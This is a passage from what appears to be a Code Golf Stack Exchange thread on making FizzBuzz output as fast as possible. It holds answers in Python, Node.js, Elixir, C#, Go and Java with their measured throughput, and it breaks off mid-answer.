i in range(0,length,chunk): #Do not exceed number_processes if len(running_list) >= number_processes: running_list[0].wait() #Call a new function async_instance = pool.apply_async(return_string, \ (stringmemory.name, arraymemory.name, offset_arr.shape, i, \ str((i//chunk)%number_processes).encode(), lock.name)) running_list.append(async_instance) #output if running_list[0].ready(): lock.buf[0:] = str(running_list[0].get()%number_processes).encode() del running_list[0] #overflow while len(running_list) != 0: running_list[0].wait() if running_list[0].ready(): lock.buf[0:] = str(running_list[0].get()%number_processes).encode() del running_list[0] stringmemory.close() stringmemory.unlink() arraymemory.close() arraymemory.unlink() lock.close() lock.unlink() fizzbuzz(1500000,int(1e100),8) ``` On google collab (with int(1e9) as usual) this is 15% faster, which makes sense because it doesn't need to pickle the output and send it back to the main program. The improvised lock (single byte of data that contains the printing order) should allow it to print in the correct order despite being async. Also larger chunk size. ``` !python3 fizzbuzz_multiprocessing_numpy_os.py | pv > /dev/null 7.34GiB 0:01:14 [ 100MiB/s] [ <=> ] ``` [Answer] **Python3** I ported [Neil](https://codegolf.stackexchange.com/a/215231)+[Kamila](https://codegolf.stackexchange.com/a/215236) answers to python3 ``` from os import write buf = bytearray(256) out = bytearray(65536 + 4096) init = b"1\n2\nFizz\n4\nBuzz\nFizz\n7\n8\nFizz\n" out[:len(init)] = init fmt = "Buzz\n{}1\nFizz\n{}3\n{}4\nFizzBuzz\n{}6\n{}7\nFizz\n{}9\nBuzz\nFizz\n{}2\n{}3\nFizz\nBuzz\n{}6\nFizz\n{}8\n{}9\nFizzBuzz\n{}1\n{}2\nFizz\n{}4\nBuzz\nFizz\n{}7\n{}8\nFizz\n" t = 30 i = 1 j = 1 for l in range(1, 20): txt = fmt.format(i, i, i, i, i, i, i + 1, i + 1, i + 1, i + 1, i + 1, i + 2, i + 2, i + 2, i + 2, i + 2).encode() buf[:len(txt)] = txt i *= 10 while j < i: out[t:t+len(txt)] = buf[:len(txt)] t += len(txt) if t >= 65536: u = write(1, out[:65536]) while u < 65536: u += write(1, out[u:65536]) t -= 65536 out[:t] = out[65536:65536+t] q = 0 for z in (4, 7, 2, 11, 2, 7, 12, 2, 12, 7, 2, 11, 2, 7, 12, 2): q += z + l p = q if buf[p] < 55: buf[p] += 3 else: buf[p] -= 7 p -= 1 while buf[p] == 57: buf[p] = 48 p -= 1 buf[p] += 1 j += 3 ``` On my laptop with i5-8300H `python3 fizzbuzz.py | pv > /dev/null` results in throughput of 48 MiB/s on average. While running the same code with `pypy3` gives me up to 820 MiB/s. [Answer] Here's my attempt with Node.js 18.4 # Initial solution ``` const MAX = Number.MAX_SAFE_INTEGER const BUFFER_SIZE = 32 * 1024 function fizzbuzz() { let buffer = '' for (let i = 0; i < MAX; i += 15) { buffer += `${i + 1}\n${i + 2}\nFizz\n${i + 4}\nBuzz\nFizz\n${i + 7}\n${i + 8}\nFizz\nBuzz\n${i + 11}\nFizz\n${i + 13}\n${i + 14}\nFizzBuzz\n` if (buffer.length > BUFFER_SIZE) { process.stdout.write(buffer) buffer = '' } } } fizzbuzz() ``` This runs at ~110MB/s Sadly this doesn't satisfy the requirement for large values as the largest safe int in JavaScript is `2^53-1`. It also quickly hits OOM errors because for whatever reason the garbage collector doesn't free up the temporary strings. # Single threaded ``` const MAX = 0x7FFFFFFFFFFFFFFFn const BUFFER_SIZE = 64 * 1024 const MAX_DECIMALS = 19 // 19 max bytes (decimal places) for 2^63-1 const BASE10 = [...Array(MAX_DECIMALS + 1).keys()].map((i) => 10n ** BigInt(i)) const FIZZ_BUZZ_PER_CYCLE = (15 / 3) + (15 / 5) const INT_PER_CYCLE = 15 - FIZZ_BUZZ_PER_CYCLE const BYTES_PER_CYCLE = (FIZZ_BUZZ_PER_CYCLE * 4) + (INT_PER_CYCLE * MAX_DECIMALS) // 4 bytes for 'fizz' and 'buzz'', const CYCLES = Math.floor(BUFFER_SIZE / BYTES_PER_CYCLE) function fizzbuzz() { const buffer = Buffer.alloc(BYTES_PER_CYCLE * CYCLES) let offset = 0 const writeFizz = () => { buffer.writeUInt32BE(0x46697a7a, offset) offset += 4 buffer.writeUint8(0x0a, offset) offset += 1 } const writeBuzz = () => { buffer.writeUInt32BE(0x42757a7a, offset) offset += 4 buffer.writeUint8(0x0a, offset) offset += 1 } const writeFizzBuzz = () => { buffer.writeUInt32BE(0x46697a7a, offset) offset += 4 buffer.writeUInt32BE(0x42757a7a, offset) offset += 4 buffer.writeUint8(0x0a, offset) offset += 1 } // Works between 1 to 2^63-1 const writeBigInt = (n) => { let hasLeading = false for (let exp = MAX_DECIMALS; exp >= 0; exp--) { const divisor = BASE10[exp] if (n >= divisor) { const digit = n / divisor n = n % divisor buffer.writeUint8(0x30 + Number(digit), offset) offset += 1 hasLeading = true } else if (hasLeading) { buffer.writeUint8(0x30, offset) offset += 1 } } buffer.writeUint8(0x0a, offset) offset += 1 } const printAndResetBuffer = () => { process.stdout.write(buffer.subarray(0, offset), 'ascii') offset = 0 } for (let i = 0n, cycles = 0; i < MAX; i += 15n, cycles += 1) { writeBigInt(i + 1n) writeBigInt(i + 2n) writeFizz() writeBigInt(i + 4n) writeBuzz() writeFizz() writeBigInt(i + 7n) writeBigInt(i + 8n) writeFizz() writeBuzz() writeBigInt(i + 11n) writeFizz() writeBigInt(i + 13n) writeBigInt(i + 14n) writeFizzBuzz() if (cycles >= CYCLES) { printAndResetBuffer() cycles = 0 } } printAndResetBuffer() } fizzbuzz() ``` This runs at an astonishing ~8MB/s. Replacing all the `BigInt`s with native numbers runs at ~50MB/s. I can't believe this was the fastest solution that I can come up with that doesn't eventually hit OOM errors. # Worker threads ``` const { Worker, isMainThread, parentPort, workerData } = require('worker_threads') const MAX = 0x7FFFFFFFFFFFFFFFn const BUFFER_SIZE = 64 * 1024 const MAX_DECIMALS = 19 // 19 max bytes (decimal places) for 2^63-1 const BASE10 = [...Array(MAX_DECIMALS + 1).keys()].map((i) => 10n ** BigInt(i)) const FIZZ_BUZZ_PER_CYCLE = (15 / 3) + (15 / 5) const INT_PER_CYCLE = 15 - FIZZ_BUZZ_PER_CYCLE const BYTES_PER_CYCLE = (FIZZ_BUZZ_PER_CYCLE * 4) + (INT_PER_CYCLE * MAX_DECIMALS) // 4 bytes for 'fizz' and 'buzz'', const CYCLES = Math.floor(BUFFER_SIZE / BYTES_PER_CYCLE) const INTS_PER_CYCLE = BigInt(CYCLES) * 15n const THREADS = 12 async function fizzbuzz() { if (isMainThread) { const sharedStrBuffer = new SharedArrayBuffer(THREADS * BUFFER_SIZE) const sharedCanConsumeBuffer = new SharedArrayBuffer(THREADS * Int32Array.BYTES_PER_ELEMENT) const sharedCanProduceBuffer = new SharedArrayBuffer(THREADS * Int32Array.BYTES_PER_ELEMENT) const strBuffer = new Uint8Array(sharedStrBuffer) const canConsume = new Int32Array(sharedCanConsumeBuffer) // when non-zero, it stores the position of the last character const canProduce = new Int32Array(sharedCanProduceBuffer) // when non-zero, worker thread can work const workers = [] for (let threadId = 0; threadId < THREADS; threadId++) { canConsume[threadId] = 0 canProduce[threadId] = 1 const worker = new Worker(__filename, { workerData: { threadId, sharedStrBuffer, sharedCanConsumeBuffer, sharedCanProduceBuffer, } }) workers.push(worker) } const step = INTS_PER_CYCLE * BigInt(THREADS) for (let i = 0n; i < MAX; i += step) { for (let threadId = 0; threadId < THREADS; threadId++) { Atomics.wait(canConsume, threadId, 0) const offsetStart = threadId * BUFFER_SIZE const offsetEnd = Atomics.load(canConsume, threadId) process.stdout.write(strBuffer.subarray(offsetStart, offsetEnd), 'ascii') Atomics.store(canProduce, threadId, 1) Atomics.notify(canProduce, threadId) } } } else { const { threadId } = workerData const strBuffer = new Uint8Array(workerData.sharedStrBuffer) const canConsume = new Int32Array(workerData.sharedCanConsumeBuffer) const canProduce = new Int32Array(workerData.sharedCanProduceBuffer) const initOffset = threadId * BUFFER_SIZE let offset = initOffset const writeFizz = () => { strBuffer[offset + 0] = 0x46 strBuffer[offset + 1] = 0x69 strBuffer[offset + 2] = 0x7a strBuffer[offset + 3] = 0x7a strBuffer[offset + 4] = 0x0a offset += 5 } const writeBuzz = () => { strBuffer[offset + 0] = 0x42 strBuffer[offset + 1] = 0x75 strBuffer[offset + 2] = 0x7a strBuffer[offset + 3] = 0x7a strBuffer[offset + 4] = 0x0a offset += 5 } const writeFizzBuzz = () => { strBuffer[offset + 0] = 0x46 strBuffer[offset + 1] = 0x69 strBuffer[offset + 2] = 0x7a strBuffer[offset + 3] = 0x7a strBuffer[offset + 4] = 0x42 strBuffer[offset + 5] = 0x75 strBuffer[offset + 6] = 0x7a strBuffer[offset + 7] = 0x7a strBuffer[offset + 8] = 0x0a offset += 9 } // Works between 1 to 2^63-1 const writeBigInt = (n) => { let hasLeading = false for (let exp = MAX_DECIMALS; exp >= 0; exp--) { const divisor = BASE10[exp] if (n >= divisor) { const digit = n / divisor n = n % divisor strBuffer[offset] = 0x30 + Number(digit) offset += 1 hasLeading = true } else if (hasLeading) { strBuffer[offset] = 0x30 offset += 1 } } strBuffer[offset] = 0x0a offset += 1 } const intsPerGlobalCycle = INTS_PER_CYCLE * BigInt(THREADS) const totalCycles = (MAX / intsPerGlobalCycle) + 1n for (let c = 0n; c < totalCycles; c++) { Atomics.wait(canProduce, threadId, 0) const startInt = (c * intsPerGlobalCycle) + (BigInt(threadId) * INTS_PER_CYCLE) const endInt = (startInt + INTS_PER_CYCLE > MAX) ? MAX : startInt + INTS_PER_CYCLE for (let i = startInt; i < endInt; i += 15n) { writeBigInt(i + 1n) writeBigInt(i + 2n) writeFizz() writeBigInt(i + 4n) writeBuzz() writeFizz() writeBigInt(i + 7n) writeBigInt(i + 8n) writeFizz() writeBuzz() writeBigInt(i + 11n) writeFizz() writeBigInt(i + 13n) writeBigInt(i + 14n) writeFizzBuzz() } Atomics.store(canConsume, threadId, offset) Atomics.notify(canConsume, threadId) offset = initOffset Atomics.store(canProduce, threadId, 0) } } } fizzbuzz() ``` After running a profiler on my single threaded solution, the biggest slowdown was these 2 lines: ``` const digit = n / divisor n = n % divisor ``` Which makes sense considering that it's division operation on `BigInt`. I've also thought of using WebAssembly or some C module to access native 64-bit ints but I think that defeats the purpose of this exercise as I want to use pure JavaScript. Pushing this computation onto worker threads allowed this solution to run at ~380 MB/s with 12 threads. **Side note:** For some reason, my `pv` command freezes when testing: ``` node worker-threads.js | pv > /dev/null 93.7KiB 0:00:10 [0.00 B/s] ``` Instead I piped the output to a temp file `timeout 30 node worker-threads.js > tmp.txt` and then just manually calculated `speed = tmp.txt size / 30s`. Maybe someone can offer some insight why this is happening for me. [Answer] This python two-liner (!) is getting >500 MiB/s with pypy on MacBook Pro M1 Max: ``` $ cat fizzbuzz.py for i in range (0,1000000000000,15): print("%d\n%d\nfizz\n%d\nbuzz\nfizz\n%d\n%d\nfizz\nbuzz\n%d\nfizz\n%d\n%d\nfizzbuzz\n" % (1+i, 2+i, 4+i, 7+i, 8+i, 11+i, 13+i, 14+i)) $ python3 fizzbuzz.py|pv > /dev/null 3.73GiB 0:00:27 [ 143MiB/s] [ $ pypy fizzbuzz.py|pv > /dev/null 70.3GiB 0:02:17 [ 525MiB/s] [ ``` Pypy throughput is very stable at around 522-525 MiB/s. I can get additional 100 MiB/s by working on 30 values at the time.. so there's more to achieve by further output chunking. A bit boring solution, but by stepping 60 at the time, this achieves 740 MiB/s with pypy, and 180 MiB/s with python3: ``` import sys for i in range (0,100000000000,60): sys.stdout.write("%d\n%d\nfizz\n%d\nbuzz\nfizz\n%d\n%d\nfizz\nbuzz\n%d\nfizz\n%d\n%d\nfizzbuzz\n%d\n%d\nfizz\n%d\nbuzz\nfizz\n%d\n%d\nfizz\nbuzz\n%d\nfizz\n%d\n%d\nfizzbuzz\n%d\n%d\nfizz\n%d\nbuzz\nfizz\n%d\n%d\nfizz\nbuzz\n%d\nfizz\n%d\n%d\nfizzbuzz\n%d\n%d\nfizz\n%d\nbuzz\nfizz\n%d\n%d\nfizz\nbuzz\n%d\nfizz\n%d\n%d\nfizzbuzz\n" % ( 1+i, 2+i, 4+i, 7+i, 8+i, 11+i, 13+i, 14+i, 16+i, 17+i, 19+i, 22+i, 23+i, 26+i, 28+i, 29+i, 31+i, 32+i, 34+i, 37+i, 38+i, 41+i, 43+i, 44+i, 46+i, 47+i, 49+i, 52+i, 53+i, 56+i, 58+i, 59+i )) $ python3 fizzbuzz.py|pv > /dev/null 18.1GiB 0:01:40 [ 185MiB/s] $ pypy fizzbuzz.py|pv > /dev/null 30.1GiB 0:00:42 [ 739MiB/s] [ ``` [Answer] Here's my answer in *Elixir*: <https://github.com/technusm1/fizzbuzz> Its a full-fledged mix project, so I hosted it on GitHub. On my system MacBook Pro 16-inch 2019 (2.6 GHz 6-Core Intel Core i7), I get the following throughput: * OP's naive C implementation: 68 MiB/s * My naive elixir implementation: 2 MiB/s * My concurrent elixir implementation: 225 MiB/s (breached 200 MiB/s, yay!) My latest optimization: * Using a binary as my GenServer state instead of iolist in `Fizzbuzz.Worker`. This reduces message passing overhead when calling `IO.binwrite` while issuing `print` command. Here's the code: ``` defmodule Fizzbuzz do def fizzbuzz_no_io(enumerable) do Stream.map(enumerable, &reply/1) |> Stream.chunk_every(5000) |> Enum.into([]) end def reply(n) when rem(n, 15) == 0, do: <<70, 105, 122, 122, 66, 117, 122, 122, 10>> def reply(n) when rem(n, 3) == 0, do: <<70, 105, 122, 122, 10>> def reply(n) when rem(n, 5) == 0, do: <<66, 117, 122, 122, 10>> def reply(n), do: [Integer.to_string(n), <<10>>] end defmodule Fizzbuzz.Cli do def main([lower, upper]) do {lower, upper} = {String.to_integer(lower), String.to_integer(upper)} chunk_size = min(div(upper - lower, System.schedulers_online()), 6000) if chunk_size == 6000 do # We'll divide the input range into 3 parts: beginning, 6k ranges and ending # beginning and ending will be processed before and after stream.run respectively. input_lower = case rem(lower, 15) do 1 -> lower 0 -> IO.binwrite("FizzBuzz\n") lower + 1 remainder -> IO.binwrite(Fizzbuzz.fizzbuzz_no_io(lower..(15 - remainder + lower))) 15 - remainder + lower + 1 end input_upper = case rem(upper - input_lower + 1, 6000) do 0 -> upper remainder -> upper - remainder end input_enumerable = Chunk6kStream.create(input_lower..input_upper) Task.async_stream( input_enumerable, fn input -> elem(GenServer.start_link(Fizzbuzz.Worker, [input]), 1) end, timeout: :infinity ) |> Stream.map(fn {:ok, res} -> res end) |> Stream.each(fn pid -> GenServer.call(pid, :print) Process.exit(pid, :kill) end) |> Stream.run() if input_upper < upper do IO.binwrite(Fizzbuzz.fizzbuzz_no_io(input_upper+1..upper)) end else input_enumerable = get_input_ranges2(lower, upper, chunk_size) Task.async_stream( input_enumerable, fn input -> elem(GenServer.start_link(Fizzbuzz.Worker, [input]), 1) end, timeout: :infinity ) |> Stream.map(fn {:ok, res} -> res end) |> Stream.each(fn pid -> GenServer.call(pid, :print) Process.exit(pid, :kill) end) |> Stream.run() end end def main(_), do: IO.puts("Usage: fizzbuzz 1 10000") defp get_input_ranges2(lower, upper, chunk_size) do # Need to make this streamable if chunk_size >= 10 do ChunkRangeStream.create(lower..upper, chunk_size) else [lower..upper] end end end defmodule Chunk6kStream do # Make sure that range has size of multiples of 6000 and range.first is divisible by 15 def create(range) do Stream.resource(fn -> initialize(range) end, &generate_next_value/1, &done/1) end defp initialize(range) do {range, range.first, range.last} end defp generate_next_value({range, lower, upper}) when lower == upper + 1 do {:halt, {range, upper, upper}} end defp generate_next_value({range, lower, upper}) do {[lower..(lower + 5999)], {range, lower + 6000, upper}} end defp done(_) do nil end end defmodule ChunkRangeStream do def create(range, chunk_size) do Stream.resource(fn -> initialize(range, chunk_size) end, &generate_next_value/1, &done/1) end defp initialize(range, chunk_size) do {range, chunk_size, range.first} end defp generate_next_value({range, chunk_size, lower}) do if lower < range.last do {[lower..min(lower + chunk_size, range.last)], {range, chunk_size, min(range.last, lower + chunk_size + 1)}} else {:halt, {range, chunk_size, lower}} end end defp done(_) do nil end end defmodule Fizzbuzz.Worker do use GenServer def init([range]) do send(self(), {:calculate, range}) {:ok, []} end def handle_info({:calculate, range}, _state) do res = if Range.size(range) == 6000 do i = range.first - 1 0..(400-1) |> Stream.map(fn j -> [[Integer.to_string(15 * j + 1 + i), "\n"], [Integer.to_string(15 * j + 2 + i), "\n"], "Fizz\n", [Integer.to_string(15 * j + 4 + i), "\n"], "Buzz\nFizz\n", [Integer.to_string(15 * j + 7 + i), "\n"], [Integer.to_string(15 * j + 8 + i), "\n"], "Fizz\nBuzz\n", [Integer.to_string(15 * j + 11 + i), "\n"], "Fizz\n", [Integer.to_string(15 * j + 13 + i), "\n"], [Integer.to_string(15 * j + 14 + i), "\n"], "FizzBuzz\n"] end) |> Stream.chunk_every(400) |> Enum.into([]) else Fizzbuzz.fizzbuzz_no_io(range) end {:noreply, res |> :erlang.iolist_to_binary} end def handle_call(:print, _from, results) do IO.binwrite(results) {:reply, :ok, []} end end ``` ``` [Answer] I wrote two versions in C# 10: one using "vanilla" language features and one based on Isaac's implementation. In the optimized version, I exploited the fact that an exact length memcpy is not necessary if the buffer is large enough. It's limited to 10^16 iterations, and the first 10 results have a leading 0 (I just thought it would be worth posting it anyway). Results: ``` OS: Ubuntu 20.04.3 LTS CPU: Intel(R) Xeon(R) Platinum 8171M CPU @ 2.60GHz (note: this is a GitHub Actions worker) Author Lang Avg. Speed ----------------------------------------------- Paolo Bonzini C 11.38 GiB/s Isaac G. C 1.90 GiB/s Neil C 1.83 GiB/s Kamila Szewczyk C 1.44 GiB/s Daniel C# (opt) 1006.00 MiB/s Olivier Grégoire Java 242.62 MiB/s Daniel C# (simpl) 125.125 MiB/s ``` ## Simple version ``` using System.Text; var sb = new StringBuilder(); ulong c = 0; while (true) { while (sb.Length < 1024 * 1024 * 4) { sb.Append($"{c + 1}\n{c + 2}\nFizz\n{c + 4}\nBuzz\nFizz\n{c + 7}\n{c + 8}\nFizz\nBuzz\n{c + 11}\nFizz\n{c + 13}\n{c + 14}\nFizzBuzz\n"); c += 15; } Console.Out.Write(sb); sb.Clear(); } ``` ## "Optimized" version ``` using System.Runtime.CompilerServices; using System.Runtime.Intrinsics; using var stdout = Console.OpenStandardOutput(); var buf = new byte[1024 * 1024 * 4]; var counter = new Counter(); while (true) { int pos = 0; for (int i = 0; i < 4096; i++) { pos = Fill30(buf, pos, ref counter); } stdout.Write(buf.AsSpan(0, pos)); } int Fill30(byte[] buf, int pos, ref Counter ctr) { var Fizz_ = 0x0A_7A_7A_69_46ul; var Fizz_Buzz_ = Vector128.Create(0x7A_75_42_0A_7A_7A_69_46ul, 0x0A_7A).AsByte(); var Buzz_Fizz_ = Vector128.Create(0x7A_69_46_0A_7A_7A_75_42ul, 0x0A_7A).AsByte(); var FizzBuzz__ = Vector128.Create(0x7A_7A_75_42_7A_7A_69_46, 0x0Aul).AsByte(); //0..9 var prefix = ctr.Get(); int prefixLen = ctr.NumDigits; ctr.Inc(); AddCtr(1); AddCtr(2); Add(Fizz_, 5); AddCtr(4); Add(Buzz_Fizz_, 10); AddCtr(7); AddCtr(8); Add(Fizz_Buzz_, 10); //10..19 prefix = ctr.Get(); prefixLen = ctr.NumDigits; ctr.Inc(); AddCtr(1); Add(Fizz_, 5); AddCtr(3); AddCtr(4); Add(FizzBuzz__, 9); AddCtr(6); AddCtr(7); Add(Fizz_, 5); AddCtr(9); //20..29 prefix = ctr.Get(); prefixLen = ctr.NumDigits; ctr.Inc(); Add(Buzz_Fizz_, 10); AddCtr(2); AddCtr(3); Add(Fizz_Buzz_, 10); AddCtr(6); Add(Fizz_, 5); AddCtr(8); AddCtr(9); Add(FizzBuzz__, 9); return pos; void Add<T>(T val, int len) { //ref byte ptr = ref Unsafe.Add(ref MemoryMarshal.GetArrayDataReference(buf), pos); //Unsafe.WriteUnaligned(ref ptr, val); Unsafe.WriteUnaligned(ref buf[pos], val); pos += len; } void AddCtr(int digit) { Add(prefix, prefixLen); Add((short)(0x0A_30 + digit), 2); // "<digit>\n" ascii in little endian } } unsafe struct Counter { public const int MAX_DIGITS = 16; public fixed byte Digits[MAX_DIGITS * 2]; public int NumDigits; public Counter() { Unsafe.InitBlock(ref Digits[0], (byte)'0', MAX_DIGITS); NumDigits = 1; } public void Inc() { int i = MAX_DIGITS - 1; for (; i >= 0; i--) { if (Digits[i] != (byte)'9') { Digits[i]++; break; } Digits[i] = (byte)'0'; } NumDigits = Math.Max(NumDigits, MAX_DIGITS - i); } public Vector128<byte> Get() { ref byte ptr = ref Digits[MAX_DIGITS - NumDigits]; return Unsafe.ReadUnaligned<Vector128<byte>>(ref ptr); } } ``` ``` [Answer] Did answer with Go, got my Dell 5560 2.35G but please test with your system. 12 threads(routines in go terms) was best with this 8 core 2 threads per core cpu but please test other numbers too as it changes which is best. Thanks for interesting challenge! ``` package main import ( "os" "strconv" "sync" "unsafe" ) const buffSize = 200000000 const innerloop = 25000 const routines = 12 func main() { eightZeroLock := &sync.Mutex{} startLock := eightZeroLock endLock := &sync.Mutex{} endLock.Lock() for i := 0; i < routines-1; i++ { go routine(i, startLock, endLock) startLock = endLock endLock = &sync.Mutex{} endLock.Lock() } go routine(routines-1, startLock, eightZeroLock) wg := sync.WaitGroup{} wg.Add(1) wg.Wait() } func routine(num int, start, end *sync.Mutex) { counter := num * 15 * innerloop var sb Builder sb.Grow(buffSize) for { for i := 0; i < innerloop; i++ { sb.WriteString(strconv.Itoa(counter + 1)) sb.WriteString("\n") sb.WriteString(strconv.Itoa(counter + 2)) sb.WriteString("\nFizz\n") sb.WriteString(strconv.Itoa(counter + 4)) sb.WriteString("\nBuzz\nFizz\n") sb.WriteString(strconv.Itoa(counter + 7)) sb.WriteString("\n") sb.WriteString(strconv.Itoa(counter + 8)) sb.WriteString("\nFizz\nBuzz\n") sb.WriteString(strconv.Itoa(counter + 11)) sb.WriteString("\nFizz\n") sb.WriteString(strconv.Itoa(counter + 13)) sb.WriteString("\n") sb.WriteString(strconv.Itoa(counter + 14)) sb.WriteString("\nFizzBuzz\n") counter += 15 } start.Lock() os.Stdout.WriteString((sb.String())) end.Unlock() sb.buf = sb.buf[:0] counter += 15 * (routines - 1) * innerloop } } // After this copied from go stringBuilder(some lines removed) // Copyright 2017 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // A Builder is used to efficiently build a string using Write methods. // It minimizes memory copying. The zero value is ready to use. // Do not copy a non-zero Builder. type Builder struct { addr *Builder // of receiver, to detect copies by value buf []byte } // noescape hides a pointer from escape analysis. noescape is // the identity function but escape analysis doesn't think the // output depends on the input. noescape is inlined and currently // compiles down to zero instructions. // USE CAREFULLY! // This was copied from the runtime; see issues 23382 and 7921. //go:nosplit //go:nocheckptr func noescape(p unsafe.Pointer) unsafe.Pointer { x := uintptr(p) return unsafe.Pointer(x ^ 0) } func (b *Builder) copyCheck() { if b.addr == nil { // This hack works around a failing of Go's escape analysis // that was causing b to escape and be heap allocated. // See issue 23382. // TODO: once issue 7921 is fixed, this should be reverted to // just "b.addr = b". b.addr = (*Builder)(noescape(unsafe.Pointer(b))) } else if b.addr != b { panic("strings: illegal use of non-zero Builder copied by value") } } // String returns the accumulated string. func (b *Builder) String() string { return *(*string)(unsafe.Pointer(&b.buf)) } // grow copies the buffer to a new, larger buffer so that there are at least n // bytes of capacity beyond len(b.buf). func (b *Builder) grow(n int) { buf := make([]byte, len(b.buf), 2*cap(b.buf)+n) copy(buf, b.buf) b.buf = buf } // Grow grows b's capacity, if necessary, to guarantee space for // another n bytes. After Grow(n), at least n bytes can be written to b // without another allocation. If n is negative, Grow panics. func (b *Builder) Grow(n int) { if n < 0 { panic("strings.Builder.Grow: negative count") } if cap(b.buf)-len(b.buf) < n { b.grow(n) } } // WriteString appends the contents of s to b's buffer. // It returns the length of s and a nil error. func (b *Builder) WriteString(s string) (int, error) { b.buf = append(b.buf, s...) return len(s), nil } ``` go run main.go | pv -a >/dev/null Github: <https://github.com/Bysmyyr/fizzbuzz> [Answer] Updated code: This code (no more strings) gets me to 4.8GiB/s. Can't break the 5 GiB/s barrier on the M1 with the naive implementation :-(. Also, larger segments, even more memory. However, this has better throughput than just writing empty arrays to the stdout (even with draining to the direct byte buffer). ``` import java.io.FileDescriptor; import java.io.FileOutputStream; import java.nio.ByteBuffer; import java.nio.charset.StandardCharsets; import java.util.LinkedList; import java.util.Optional; import java.util.Queue; import java.util.concurrent.CompletableFuture; import java.util.concurrent.ForkJoinPool; import java.util.function.Consumer; import java.util.function.Supplier; import java.util.stream.IntStream; public class FizzBuzz { static final String NEWLINE = String.format("%n"); static byte[] fizzbuzz = "fizzbuzz\n".getBytes(StandardCharsets.ISO_8859_1); static byte[] fizz = "fizz\n".getBytes(StandardCharsets.ISO_8859_1); static byte[] buzz = "buzz\n".getBytes(StandardCharsets.ISO_8859_1); static byte newline = "\n".getBytes(StandardCharsets.ISO_8859_1)[0]; static byte zero = (byte) '0'; static int fizzBuzz(long src, byte[] destination, int destinationPos, byte[] digitsHelper, int digitsHelperLast) { if (src % 15 == 0) { System.arraycopy(fizzbuzz, 0, destination, destinationPos, fizzbuzz.length); return destinationPos + fizzbuzz.length; } else if (src % 5 == 0) { System.arraycopy(fizz, 0, destination, destinationPos, fizz.length); return destinationPos + fizz.length; } else if (src % 3 == 0) { System.arraycopy(buzz, 0, destination, destinationPos, buzz.length); return destinationPos + buzz.length; } else { do { digitsHelper[digitsHelperLast--] = (byte) (zero + src % 10); src /= 10; } while (src != 0); int len = digitsHelper.length - digitsHelperLast; System.arraycopy(digitsHelper, digitsHelperLast, destination, destinationPos, len); return destinationPos + len; } } record Pair(byte[] item1, ByteBuffer item2) { } public static void main(String[] argv) throws Exception { final var channel = new FileOutputStream(FileDescriptor.out).getChannel(); final Consumer<ByteBuffer> writeToChannel = bb -> { try { while (bb.hasRemaining()) { channel.write(bb); } } catch (Exception ex) { ex.printStackTrace(); System.exit(1); } }; final var segment = 10_000_000; final var arralloc = 20 * segment; final Queue<CompletableFuture<Pair>> queue = new LinkedList<> (IntStream.range(0, Optional.of(ForkJoinPool.getCommonPoolParallelism() - 1).filter(i -> i > 0).orElse(1)) .mapToObj(i -> CompletableFuture.completedFuture(new Pair(new byte[arralloc], ByteBuffer.allocateDirect(arralloc)))).toList()); CompletableFuture<?> last = CompletableFuture.completedFuture(null); final Supplier<Pair> supplier = () -> { try { return queue.poll().get(); } catch (Exception ex) { ex.printStackTrace(); System.exit(1); return null; } }; var nr = 0L; while (true) { final var start = nr; final var end = nr + segment; final var finalLast = last; var cf = CompletableFuture.completedFuture(supplier.get()) .thenApplyAsync(p -> { var arr = p.item1(); var bb = p.item2(); var pos = 0; var digitsHelper = new byte[20]; digitsHelper[19] = newline; for (long l = start; l < end; l++) { pos = fizzBuzz(l, arr, pos, digitsHelper, 18); } bb.clear(); bb.put(arr, 0, pos); bb.flip(); return p; }) .thenCombineAsync(finalLast, (p, v) -> { try { channel.write(p.item2()); } catch (Exception ex) { ex.printStackTrace(); System.exit(1); } return p; }); queue.add(cf); last = cf; nr = end; } } } ``` Regular Java, no tricks on fizzbuzz, needs quite a bit of memory and benefits from multiple threads. On my M1 Pro w/ Java 17 I am at 4.3GiB/s (9 threads + 1 main). ByteBuffer writes max out the channel at ~ 5GiB/s piped via pv (without fizzbuzz). ``` import java.io.FileDescriptor; import java.io.FileOutputStream; import java.nio.ByteBuffer; import java.nio.charset.StandardCharsets; import java.util.LinkedList; import java.util.Optional; import java.util.Queue; import java.util.concurrent.CompletableFuture; import java.util.concurrent.ForkJoinPool; import java.util.function.Consumer; import java.util.function.Supplier; import java.util.stream.IntStream; public class FizzBuzz { static final String NEWLINE = String.format("%n"); static StringBuilder fizzBuzz(long src, StringBuilder destination) { if (src % 15 == 0) { destination.append("fizzbuzz"); } else if (src % 5 == 0) { destination.append("fizz"); } else if (src % 3 == 0) { destination.append("buzz"); } else { destination.append(src); } return destination.append(NEWLINE); } record Pair<T1, T2>(T1 item1, T2 item2) { } public static void main(String[] argv) throws Exception { final var channel = new FileOutputStream(FileDescriptor.out).getChannel(); final Consumer<ByteBuffer> writeToChannel = bb -> { try { while (bb.hasRemaining()) { channel.write(bb); } } catch (Exception ex) { ex.printStackTrace(); System.exit(1); } }; final Queue<CompletableFuture<Pair<StringBuilder, ByteBuffer>>> queue = new LinkedList<> (IntStream.range(0, Optional.of(ForkJoinPool.getCommonPoolParallelism() - 1).filter(i -> i > 0).orElse(1)) .mapToObj(i -> CompletableFuture.completedFuture(new Pair<>(new StringBuilder(20 * 1024 * 1024), ByteBuffer.allocateDirect(41 * 1024 * 1024)))).toList()); CompletableFuture<?> last = CompletableFuture.completedFuture(null); final Supplier<Pair<StringBuilder, ByteBuffer>> supplier = () -> { try { return queue.poll().get(); } catch (Exception ex) { ex.printStackTrace(); System.exit(1); return null; } }; var nr = 0L; var segment = 1_000_000L; while (true) { final var start = nr; final var end = nr + segment; final var finalLast = last; var cf = CompletableFuture.completedFuture(supplier.get()) .thenApplyAsync(p -> { var sb = p.item1(); var bb = p.item2(); sb.delete(0, sb.length()); for (long l = start; l < end; l++) { fizzBuzz(l, sb); } bb.clear(); bb.put(sb.toString().getBytes(StandardCharsets.UTF_8)); return p; }) .thenCombineAsync(finalLast, (p, v) -> { try { channel.write(p.item2().flip()); } catch (Exception ex) { ex.printStackTrace(); System.exit(1); } return p; }); queue.add(cf); last = cf; nr = end; } } } ``` [Answer] # Java 17 Compile and run with `java FizzBuzz.java`. The algorithm is correct for numbers up to 2^63-1. ``` import java.io.FileDescriptor; import java.io.FileOutputStream; import java.nio.ByteBuffer; import java.util.concurrent.Callable; import java.util.concurrent.Executors; import java.util.concurrent.Future; import java.util.concurrent.LinkedBlockingQueue; import static java.nio.charset.StandardCharsets.US_ASCII; public final class 